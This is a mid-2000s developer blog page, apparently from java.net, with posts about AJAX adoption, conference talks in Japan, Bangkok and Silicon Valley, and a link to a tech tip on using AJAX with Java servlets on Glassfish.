If you would like to see some of the things we are thinking about for the next servlet release, or if you would like to propose an addition please see my blog entry titled Got Servlets.



AJAX Everywhere

Posted by gmurray71 on January 23, 2006 at 04:14 AM | Permalink | Comments (2)

In November I had the chance to speak with developers at the JavaOne Japan event on AJAX. In Japan, there is a strong interest in AJAX and from some conversations with developers and companies following the conference I realized that AJAX really is a global phenomenon.

Last week I had the chance to speak at Apple with some of the developers from the Apple Store about AJAX and to my surprise I found out that they are already using AJAX on their production site. If you configure the options of a Mac notice you no longer have a page refresh as the total cost is estimated on the left side bar.

This is a great example of using AJAX to enhance the user experience. Please note that I'm not selling Macs here nor do I own any Apple stock.

Currently, I am in Bangkok, Thailand to speak at the Sun Tech Days 2006 Bangkok. Registration at this event is said to be around 1800 people and James Gosling will be speaking so it should be a fun event. Stay tunned for more.

If you are more interested in AJAX and you are in the Bay Area I will be speaking at the Silicon Valley Chapter of the ACCU on February 8th on the BluePrints for AJAX running on Glassfish. Please come if you get a chance.



Using AJAX with Java Technology

Posted by gmurray71 on December 14, 2005 at 01:09 PM | Permalink | Comments (1)

AJAX can be as difficult as you really want to make it. I started my journey on down the AJAX path after seeing an autocomplete example. This tech tip is pretty simple and really meant for Java developers that want to get their feet wet with adding AJAX functionality to their web applications.

See: Using AJAX with Java Technology

The included example is written to run on Glassfish, though it should run on any servlet container.

Comments?





Powered by
Movable Type 3.01D
 Feed java.net RSS Feeds